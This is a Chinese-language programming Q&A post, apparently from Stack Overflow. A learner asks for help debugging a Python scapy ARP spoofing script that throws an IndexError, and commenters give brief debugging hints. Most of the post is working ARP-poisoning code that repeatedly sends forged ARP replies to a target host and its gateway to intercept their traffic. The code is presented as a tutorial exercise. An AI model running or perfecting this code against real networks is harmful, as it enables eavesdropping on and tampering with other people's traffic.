【发布时间】:2020-04-09 16:44:09
【问题描述】:
我正在尝试按照我在网上找到的教程编写一个基本的 arp 欺骗程序。 所以我编写了 arpSpoofer 的基本开始代码,但是当我执行它时会抛出 IndexError: list index out of range...我确定我在代码上犯了一个愚蠢的错误,但我真的找不到它,我一直在尝试小时。 代码是这样的:
import scapy.all as scapy
from scapy import *
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
while True:
spoof("192.168.1.79", "192.168.1.1")
spoof("192.168.1.1", "192.168.1.79")
准确的错误信息是:
Traceback (most recent call last):
File "arp_spoof.py", line 26, in <module>
spoof("192.168.1.79", "192.168.1.1")
File "arp_spoof.py", line 18, in spoof
target_mac = get_mac(target_ip)
File "arp_spoof.py", line 15, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
非常感谢您的帮助...提前致谢! :)
【问题讨论】:
-
answered_list.res必须为空 -
什么回答了_list.res ??
-
get_mac函数的第4行 -
192.168.1.79 是否可达?
-
是的,可以访问
标签: python python-3.x scapy